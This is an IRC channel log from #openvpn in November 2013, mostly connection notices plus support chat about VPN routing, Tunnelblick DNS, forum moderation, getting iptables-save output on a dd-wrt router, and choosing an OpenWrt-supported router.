12:35 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Read error: Connection reset by peer]
12:36 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
12:40 -!- valent [~valent@unaffiliated/valent] has quit [Ping timeout: 241 seconds]
12:40 -!- napoleonwilson [~napoleonw@host-83-146-10-5.dslgb.com] has quit [Quit: Leaving]
12:44 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
12:51 -!- napoleonwilson [~napoleonw@host-83-146-10-5.dslgb.com] has joined #openvpn
12:52 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
12:53 -!- valent [~valent@209-83.dsl.iskon.hr] has joined #openvpn
12:54 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
12:56 < napoleonwilson> tried adding route  -  ip route add 0.0.0.127 via < pi ip address >
12:56 < napoleonwilson> but xbmc still doesnt work over a vpn connection
13:00 -!- napoleonwilson [~napoleonw@host-83-146-10-5.dslgb.com] has quit [Quit: Leaving]
13:08 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has quit [Ping timeout: 252 seconds]
13:08 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
13:09 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
13:11 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 252 seconds]
13:14 -!- smrtz|nix [~smrtz@unaffiliated/smrtznix/x-9775867] has joined #openvpn
13:14 -!- elfixit [~Icedove@213.144.157.68] has quit [Ping timeout: 264 seconds]
13:15 < smrtz|nix> Hey, I'm trying to connect to my schools vpn server, but they won't give me a ca.crt.  Is there a way to deal with this?
13:19 < bjonnh> smrtz|nix: it depends on the config, who issued/signed their keys etc
13:19 < rob0> You'll have to carefully follow whatever directions they gave you. Are you even sure it's openvpn?
13:20 < bjonnh> smrtz|nix: if they give instructions for windows, you should be able to use the same things under your Linux
13:20 -!- Zep [~IceChat9@546BD885.cm-12-4d.dynamic.ziggo.nl] has left #openvpn []
13:20 < smrtz|nix> bjonnh: They don't.  Actually, I'm not even supposed to be able to connect, I got special permition from the CIO here.
13:21 < rob0> not much we can help you with, then
13:21 < bjonnh> smrtz|nix: if they gave you the permission, they should have gave you what is needed too. We can't help with politics ;)
13:21 < smrtz|nix> bjonnh: Ok, thanks.
13:28 -!- lnb [~lnb@CPE0002b3c8018e-CM602ad06bec2f.cpe.net.cable.rogers.com] has quit [Ping timeout: 245 seconds]
13:34 -!- smrtz|nix [~smrtz@unaffiliated/smrtznix/x-9775867] has quit [Quit: leaving]
13:35 -!- Devastator_ [~devas@186.214.14.158] has joined #openvpn
13:36 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
13:37 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
13:38 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
13:40 -!- Ahrotahntee is now known as NotAGuest
13:40 -!- NotAGuest is now known as Ahrotahntee
13:40 -!- nutcase_ is now known as nutcase
13:40 -!- nutcase [~nutcase@ir0nic.com] has quit [Changing host]
13:40 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
13:41 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:42 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
13:55 -!- u0m3_ [~u0m3@109.96.175.232] has joined #openvpn
13:57 -!- u0m3 [~u0m3@109.96.175.232] has quit [Ping timeout: 248 seconds]
13:59 -!- Devastator_ [~devas@186.214.14.158] has quit [Changing host]
13:59 -!- Devastator_ [~devas@unaffiliated/devastator] has joined #openvpn
13:59 -!- Devastator_ is now known as Devastator
14:12 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
14:14 -!- Denial [Denial@2.223.161.125] has quit []
14:17 -!- gardar [~gardar@gardar.net] has joined #openvpn
14:28 -!- lnb [~lnb@CPE000347b24a71-CM602ad06bec2f.cpe.net.cable.rogers.com] has joined #openvpn
14:29 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
14:31 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
14:31 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
14:31 <+pekster> !forget previews
14:31 <@vpnHelper> Joo got it.
14:31 <+pekster> !learn previews as Unofficial bleeding-edge feature previews for Windows can be found at this project page: https://bitbucket.org/QueuingKoala/openvpn-previews/wiki
14:31 <@vpnHelper> Joo got it.
14:32 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
14:32 -!- gardar [~gardar@gardar.net] has joined #openvpn
14:35 -!- lnb_ [~lnb@CPE000347b24a71-CM602ad06bec2f.cpe.net.cable.rogers.com] has joined #openvpn
14:35 -!- lnb [~lnb@CPE000347b24a71-CM602ad06bec2f.cpe.net.cable.rogers.com] has quit [Read error: Connection reset by peer]
14:36 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:40 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 248 seconds]
14:54 -!- AginLap [~AginLap@tsn77-247-182-241.dyn.nltelcom.net] has quit [Quit: Leaving]
15:00 -!- lnb_ [~lnb@CPE000347b24a71-CM602ad06bec2f.cpe.net.cable.rogers.com] has quit [Read error: Connection reset by peer]
15:00 -!- lnb_ [~lnb@CPE000347b24a71-CM602ad06bec2f.cpe.net.cable.rogers.com] has joined #openvpn
15:11 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-gzwlbfezsuopwgbd] has joined #openvpn
15:17 -!- dazo is now known as dazo_afk
15:25 -!- kplong [~kplong@mail.rtfoundry.com] has joined #openvpn
15:28 < kplong> Hello - I upgraded my macbook from snow leopard to mavericks , and upgraded to the latest tunnelblick beta.  My VPN connections are working, but while I see the dns options being pushed from the server in the log, DNS is not resolving like it was before.
15:28 < kplong> It shows version 2.3.2 being used as the underlying Openvpn client
15:31 <+pekster> In tunnelblick, the DNS options pushed from the server are picked up by a script that acts as a wrapper around the Mac's dnsctl utility
15:32 <+pekster> You'd want to start hunting there if it's not magically working like it's supposed to
15:33 <+pekster> I believe there are also some GUI options (and corresponding plist config directives) that control if the pushed DNS/domain settings are applied
15:36 -!- kevinlongmusic_ [~kplong@76.22.41.14] has joined #openvpn
15:36 -!- kplong [~kplong@mail.rtfoundry.com] has quit [Read error: Connection reset by peer]
15:39 -!- mattock is now known as mattock_afk
15:40 -!- kevinlongmusic_ [~kplong@76.22.41.14] has quit [Ping timeout: 240 seconds]
15:41 -!- kplong [~kplong@c-76-22-41-14.hsd1.wa.comcast.net] has joined #openvpn
15:43 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
15:44 -!- michaelhart [~michaelha@192.237.177.15] has quit [Quit: michaelhart]
15:54 -!- lnb_ [~lnb@CPE000347b24a71-CM602ad06bec2f.cpe.net.cable.rogers.com] has quit [Ping timeout: 252 seconds]
16:04 -!- lnb_ [~lnb@CPE000347b24a71-CM602ad06bec2f.cpe.net.cable.rogers.com] has joined #openvpn
16:06 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
16:07 -!- map is now known as Guest50267
16:07 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
16:18 -!- lmm [uid6417@gateway/web/irccloud.com/x-ojsdjyajqtgoihhs] has quit [Quit: Connection closed for inactivity]
16:23 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
16:25 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
16:26 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Ping timeout: 252 seconds]
16:27 -!- master_of_master [~master_of@p4FD7BC98.dip0.t-ipconnect.de] has joined #openvpn
16:31 -!- master_o1_master [~master_of@p4FF24FD0.dip0.t-ipconnect.de] has quit [Ping timeout: 268 seconds]
16:34 -!- klein [~klein@177.101.107.72] has joined #openvpn
16:34 -!- klein [~klein@177.101.107.72] has quit [Changing host]
16:34 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
16:37 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
16:38 -!- Guest50267 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
16:40 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Quit: gone]
16:46 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has joined #openvpn
16:48 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 272 seconds]
16:49 -!- maskedlua_ is now known as maskedlua
16:55 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
17:06 -!- crus [~crusader@2001:44b8:319e:2900:b473:1c90:25bd:fab] has joined #openvpn
17:08 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
17:23 -!- lnb_ [~lnb@CPE000347b24a71-CM602ad06bec2f.cpe.net.cable.rogers.com] has quit [Ping timeout: 245 seconds]
17:25 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:28 -!- lnb_ [~lnb@CPE000347b24a71-CM602ad06bec2f.cpe.net.cable.rogers.com] has joined #openvpn
17:40 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
17:46 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 264 seconds]
17:46 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
17:48 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
17:53 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
17:58 -!- lnb_ [~lnb@CPE000347b24a71-CM602ad06bec2f.cpe.net.cable.rogers.com] has quit [Remote host closed the connection]
18:05 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 245 seconds]
18:07 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
18:07 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
18:14 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Read error: Connection reset by peer]
18:25 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
18:26 -!- d1gital is now known as d1gital-fatquest
18:38 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:41 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has quit [Ping timeout: 252 seconds]
18:44 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
18:57 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
18:58 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 264 seconds]
19:04 -!- C_S_B [~C-S-B@host109-145-138-152.range109-145.btcentralplus.com] has quit [Ping timeout: 246 seconds]
19:05 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
19:09 -!- C-S-B [~C-S-B@host86-173-99-141.range86-173.btcentralplus.com] has joined #openvpn
19:12 -!- debbie10t [~ma1com10t@host-92-20-86-80.as13285.net] has joined #openvpn
19:12 -!- mode/#openvpn [+o debbie10t] by ChanServ
19:13 <@debbie10t> hey
19:13 <@debbie10t> is it poss i can get a URL in my sig on the forums ... if i swaer to only use openvpn.net urls ?
19:14 <@debbie10t> on pain of perma-ban
19:25 <+pekster> It's already possible. https://forums.openvpn.net/ucp.php?i=profile&mode=signature
19:25 <@vpnHelper> Title: OpenVPN Support Forum User Control Panel Login (at forums.openvpn.net)
19:26 <+pekster> Oh, [url] is "OFF" -- that's been disabled
19:26 <@debbie10t> yup
19:26 <@debbie10t> douglas can do it though
19:26 <@debbie10t> its not a big deal .. just pushing my luck
19:27 <+pekster> That'll require access to the backend setup, and I'm not sure that can be done on a per-group basis (though maybe it can)
19:27 <@debbie10t> however .. it would be nice to be able to sig url for openvpn help
19:27 <@debbie10t> just askin
19:27 <@debbie10t> not expectin
19:28 <+pekster> I don't really see the advantage for support issues; people already can't read the big notices/rules in the forums at the top of the page
19:28 <@debbie10t> i agree
19:28 <@debbie10t> i even deleted my own replica of that text .. it was getting thousands of hits
19:29 <@debbie10t> it would just seem to make sense if there was one particularly well written instructional post (which was locked) that I could link to in my sig
19:30 <@debbie10t> or at least link to in any post
19:31 <@debbie10t> krzee wrote one . i wrote one . there is one at the top of the configuration forum .. and yet they still don't read it till you point them at it like sheep
19:32 <@debbie10t> its not a big deal ..
19:32 <@debbie10t> just curious
19:32 <+pekster> There too many locked posts, IMO. Stuff like downtime in Oct, or whatever. And yes, forums attract all types, including those that aren't very bright
19:32 <@debbie10t> hope you are well JC
19:33 <@debbie10t> yeah .. never mind ..i was just curious
19:36 <@debbie10t> whoopsie .. i just deleted the downtime in october
19:36 -!- juxta [~rootkit@ppp203-122-193-94.static.internode.on.net] has joined #openvpn
19:36 <@debbie10t> ah well .. its done now
19:37 <@debbie10t> i guess i should try to write a HOWTO post
19:38 <+pekster> Maybe; what's the difference between that concept and the actual howto guide?
19:38 <@debbie10t> agreed
19:38 <+pekster> Forums (and mailing lists for that matter) are generally a transient way to get help
19:39 <+pekster> This said, if there's a way to improve the current list/layout/whatever of the notices or stickies, that's probably worthwhile too
19:40 <@debbie10t> well .. yes and no .. forums tend to be how the general user see how the "organisation" pertain to be
19:40 <@debbie10t> either that or a website
19:41 <@debbie10t> and for support it seems that in the main forums are prefered
19:41 -!- occupant [~null@192.195.83.10] has quit [Read error: Connection reset by peer]
19:41 -!- occupant [~null@204.14.158.226] has joined #openvpn
19:41 <@debbie10t> so why not do a efficient job
19:41 <@debbie10t> an*
19:42 <@debbie10t> or at least give it a bash
19:43 <@debbie10t> i know that openvpn have a very strict policy on helping users .. I am thinking of helping the help
19:45 <@debbie10t> fine .. i'll just rewrite my own
19:46 -!- minidino [~rawr@108.174.58.174] has left #openvpn ["Leaving"]
19:47 <+pekster> What you might consider instead of "yet another sticky/announcement" that people won't read anyway is a nice set of wiki pages (if any topics there are lacking now) and 1 or 2 stickies to replaces what is there that then link to individual wiki pages
19:48 <@debbie10t> yes .. I agree .. ethernet bridging could use a little more advice
19:48 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
19:48 <@debbie10t> ok JC
19:48 <@EugeneKay> Yeah, "don't fucking use it you stupid spazzes"
19:48 <@debbie10t> lol
19:48 <@debbie10t> @EK
19:49 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-cthzqysixqhbsjmd] has quit [Quit: Connection closed for inactivity]
19:49 <@debbie10t> i am just thinking outload
19:49 <@debbie10t> loud*
19:50 <@debbie10t> okey dokey .. gonna sleep on it ;) .. laterz
19:50 -!- debbie10t [~ma1com10t@host-92-20-86-80.as13285.net] has left #openvpn []
19:50 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 240 seconds]
19:54 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
20:11 -!- kplong [~kplong@c-76-22-41-14.hsd1.wa.comcast.net] has quit [Ping timeout: 272 seconds]
20:15 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
20:15 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
20:19 -!- aegis [~aegis@184.75.212.34] has joined #openvpn
20:21 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 246 seconds]
20:28 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 246 seconds]
20:31 -!- rob0 is now known as syntax_error
20:31 -!- syntax_error is now known as rob0
20:32 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
20:39 -!- jtholt [~jtholt@71-88-42-6.dhcp.nwtn.ct.charter.com] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <-]
20:40 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has quit []
21:01 -!- aegis [~aegis@184.75.212.34] has quit [Quit: See ya!]
21:08 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
21:09 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
21:11 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 244 seconds]
21:13 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
21:22 -!- Probeus_ is now known as Probeus
21:31 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-gzwlbfezsuopwgbd] has quit [Ping timeout: 245 seconds]
21:32 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-xzindajghdsxjbed] has joined #openvpn
21:37 -!- dualz [j0lt@c-24-23-1-30.hsd1.ca.comcast.net] has joined #openvpn
21:43 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
21:44 -!- markp is now known as 7CBAADXDD
21:44 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 252 seconds]
21:45 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
22:23 -!- NChief [~nchief@unaffiliated/nchief] has quit [Ping timeout: 264 seconds]
22:23 -!- NChief [~nchief@unaffiliated/nchief] has joined #openvpn
22:29 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
22:32 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
22:37 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Ping timeout: 244 seconds]
22:37 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
22:38 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
23:09 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Ping timeout: 272 seconds]
23:14 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
23:29 -!- toobluesc [~nitro@2001:558:6045:d2:3524:e7b0:53f0:ab09] has joined #openvpn
23:30 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:46 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
23:47 -!- Denial [Denial@2.223.161.125] has joined #openvpn
23:50 < james41382> Is it wierd to have duplicate entries in iptables output? Such as: http://paste.debian.net/65574/
23:50 < james41382> I think they are there from me messing around trying to get stuff working and I want to delete them, but I'm just double checking.
23:54 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Quit: Leaving]
23:54 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
23:55 <+pekster> !netfilter
23:55 <@vpnHelper> "netfilter" is Under Linux, use `iptables-save` to show firewall rulesets (add -c to include counters.) Do not use iptables -L as it is incomplete & often lies. #netfilter is more on-topic for detailed help.
23:55 <+pekster> -L sucks
23:58 < james41382> pekster: I know I've heard that before, but on my router's firmware it doesn't have iptables-save. =[
23:59 < james41382> Should I try to upload it there by source and compile? I know it has gcc.
23:59 < james41382> There's some space in NVRAM (granted not much)...
23:59 <+pekster> Symlink it to the iptables binary (or what it symlinks to)
--- Day changed Wed Nov 13 2013
00:00 < james41382> Let me check.. I wonder if it has locate... lol
00:01 <+pekster> huh?
00:01 < james41382> No locate, but I found it and there's no symlink
00:01 <+pekster> `ls -l $(which iptables)` doesn't work?
00:01 < james41382> I'm still rather green here... sorry I didn't know that.
00:04 <+pekster> `d="$(which iptables)"; d="${d%/*}"; ln -s iptables "$d/iptables-save"`
00:04 <+pekster> Should work, assuming you have `which`
00:04 <+pekster> Do it again for iptables-restore if you want to use that too
00:05 < james41382> What does that command do exactly?
00:06 <+pekster> Creates an iptables-save symlink in the same directory as the iptables binary from your $PATH is now
00:07 < james41382> I don't get it... there isn't a binary called iptables-save.
00:07  * pekster sighs
00:07 <+pekster> There normally isn't. You should have gotten a symlink from your distro but they're idiots, so that command makes one for you
00:07 < james41382> There is however this symlink: iptables-restore -> /usr/sbin/iptables
00:08 <+pekster> Right, you need an iptables-save symlink too (the opposite of iptables-restore)
00:08 <+pekster> iptables-L is really awful: https://www.pekster.net/staging/josh/md/iptables-L.html
00:09 < james41382> So why create a symlink to iptables? If iptables-save just executes iptables what's the difference?
00:11 <+pekster> It gives you the data in iptables-save format
00:11 <+pekster> The output you showed sucks
00:11 <+pekster> Read my link if you care to learn why, but that output is basically worthless
00:11 <+pekster> When you call iptables-save, it's $0 is completely different and thus the program does different things
00:11 <+pekster> Read !netfilter from the bot above: it's very clear
00:11 < james41382> Okay brb.
00:12 < james41382> !netfilter
00:12 <@vpnHelper> "netfilter" is Under Linux, use `iptables-save` to show firewall rulesets (add -c to include counters.) Do not use iptables -L as it is incomplete & often lies. #netfilter is more on-topic for detailed help.
00:12 < james41382> Oh I just read that... heh.
00:21 < james41382> So  ln -s /usr/sbin/iptables /tmp/iptables-save and then /tmp/iptables-save gives: iptables multi-purpose version: unknown applet name iptables-save
00:22 <+pekster> Lovely
00:23 < james41382> =[
00:23 <+pekster> What backwards distro is this?
00:23 < james41382> Don't laugh..
00:23 <+pekster> Also, "applet" sounds like busybox; normally they simlink all their bins; you sure iptables isn't a symlink?
00:23 < james41382> That's correct.
00:24 < james41382> It's dd-wrt though..
00:24 <+pekster> Yea, they do lots of things wrong
00:24 <+pekster> Try openwrt; they suck less and actually develop shit that works
00:24 < james41382> -rwxr-xr-x    1 root     root       130227 Apr 11  2011 iptables
00:25 < james41382> pekster: I guess I could try openwrt, but I recall they don't have a build for my router with the options dd-wrt does.
00:25 <+pekster> Then stop buying hardware that's closed and propritary
00:25 <+pekster> Oh, and dd-wrt also has had wonderful things like "accidently" backdoors in their products too: http://www.dd-wrt.com/phpBB2/viewtopic.php?t=35783
00:25 < james41382> I should just buy a half decent used desktop off craiglist and setup a router of my own without all this non sense.
00:25 <+pekster> IOW: they're crap
00:27 <+pekster> "it seems that chris implemented this for a customer. i removed it now
00:27 <+pekster> heh
00:27 <+pekster> Those are your firmware devs ;)
00:29 < james41382> Okay you've made your point. I'll have another look at openwrt
00:30 < james41382> But I swear someone told me all this before and after a bit of research i found that dd-wrt was the better choice for this particular model.
00:30 <+pekster> Could be
00:30 <+pekster> openwrt won't generally support these closed SoCs that dd-wrt will
00:31 <+pekster> It's one of the reasons openwrt actually has a good reputation
00:32 <+pekster> As for your rules, maybe see my silly shell loop if you want to dump your tables in a more usable syntax
00:33 <+pekster> Or, maybe your iptables userland is new enough for -S?
00:33 <+pekster> That's still only 1 table at a time, but it's better than -L
00:34 < james41382> It's a linksys e3000.. not that best, but it's what i've got for now. I'm just a student... not alot of money you know?
00:34 <+pekster> Anyway, start that for your rules. If you didn't actualy write your own rules, #dd-wrt would be more appropriate for firewall help. #netfilter is fine too, but they won't deal with frontends
00:34 < james41382> Yes it says here on the openwrt site that it doesn't support the 5ghz band.. =/
00:34 <+pekster> I don't really care; $35 can get you openwrt-supported hardware
00:35 <+pekster> non-open hardware companies are in business only becuase people keep buying their crappy products :P
00:35 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has quit [Remote host closed the connection]
00:35 -!- u0m3__ [~u0m3@109.96.189.96] has joined #openvpn
00:35 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
00:36 < james41382> That E3000 was like a $150 years ago.. lol.
00:36 < james41382> It's works pretty good though.
00:36 <+pekster> I've used the Netgear WNDR3800 recently; those are really nice units with tftp support to load firmwares, openwrt-supported, 2.4/5 ghz wifi, 5 GigE ports (on 2 unique network stacks) and 64M flash, 128M RAM
00:37 <+pekster> ~$100, unless you can find any overstocks or reburbs
00:37 < james41382> pekster: That is great advice. I might be able to swing that sometime in the near future..
00:37 <+pekster> Sell your paperweight to someone else ;)
00:38 <+pekster> openvpn runs quite nicely on it too
00:38 -!- u0m3_ [~u0m3@109.96.175.232] has quit [Ping timeout: 244 seconds]
00:38 < james41382> I'm looking on ebay as we speak!
00:42 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
00:43 < james41382> pekster: Are there sub models? It seems like WNDR3800 returns results for different sub models?
00:43 < james41382> Err.. maybe a regular WNDR3800 and "Premium" model..
00:44 < james41382> Looks like I can get one off ebay for around $50 though.. I'm really excited. =D
00:45 <+pekster> There's only 1 model; be careful of things that searches link to that are not that model
00:45 <+pekster> WNDR4300 "N750" is a common mis-hit since the description says it's an "upgraded version" (and currently not openwrt supported by release firmwares)
00:46 <+pekster> http://wiki.openwrt.org/toh/netgear/wndr3800
00:47 < james41382> I'm looking at WNDR3800 N600, which is the dual band version.
00:47 <+pekster> This is the right one (though you can probably get deals on discount/used if you hut enough): http://www.amazon.com/Netgear-WNDR3800-Premium-Edition-Wireless/dp/B0058NN6CS
00:47 <+pekster> Yup
00:47 < james41382> You think $55 is good?
00:47 <+pekster> It's 55% the cost ;)
00:47 <+pekster> And yea, if it's in good condition, that's a decent price
00:48 < james41382> I may just get it now I'm so excited.. it's new in the original packaging..
00:49 <+pekster> FYI, that openwrt link I sent you links to the 10.x firmware; be sure you flash with a 12.x image (from 2012 vs early 2010)
00:49 -!- mattock_afk is now known as mattock
01:01 < james41382> Nice I placed a bid.. $32 + $13 for shipping.. Not to shabby.
01:01 < james41382> Thanks again.. I'm going to bed.
01:01 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
01:11 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
01:12 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:17 -!- aegis [~aegis@184.75.212.34] has joined #openvpn
01:34 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
01:35 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:52 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
01:55 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:03 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
02:08 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
02:08 -!- occup4nt [~null@204.14.158.226] has joined #openvpn
02:11 -!- occupant [~null@204.14.158.226] has quit [Ping timeout: 264 seconds]
02:16 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
02:17 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:30 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Remote host closed the connection]
02:40 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
02:41 -!- dazo_afk is now known as dazo
02:45 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
02:57 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
03:36 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 272 seconds]
03:37 -!- kplong [~kplong@c-76-22-41-14.hsd1.wa.comcast.net] has joined #openvpn
03:38 -!- takamichi [~takamichi@141.255.164.73] has joined #openvpn
04:13 -!- takamichi [~takamichi@141.255.164.73] has quit [Ping timeout: 272 seconds]
04:14 -!- kplong [~kplong@c-76-22-41-14.hsd1.wa.comcast.net] has quit [Quit: This computer has gone to sleep]
04:14 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
04:22 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
04:24 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
04:30 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 245 seconds]
04:39 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
04:42 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
04:45 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-nzvmsiwawkxmnuvh] has quit [Quit: Connection closed for inactivity]
04:48 -!- b00gz___ [uid6869@gateway/web/irccloud.com/x-soornqtzhtfyossk] has quit [Quit: Connection closed for inactivity]
04:56 -!- spiekey [~mario@projekte.imos.net] has joined #openvpn
04:56 < spiekey> HelloHello!
04:56 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
04:56 < spiekey> is anyone here using that OpenVPN Access Server thing from openvpn.net?
04:57 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
05:00 < ZeK__> We have that at work
05:01 < ZeK__> We are actively transitionning to a "normal" setup, this shit is stupid
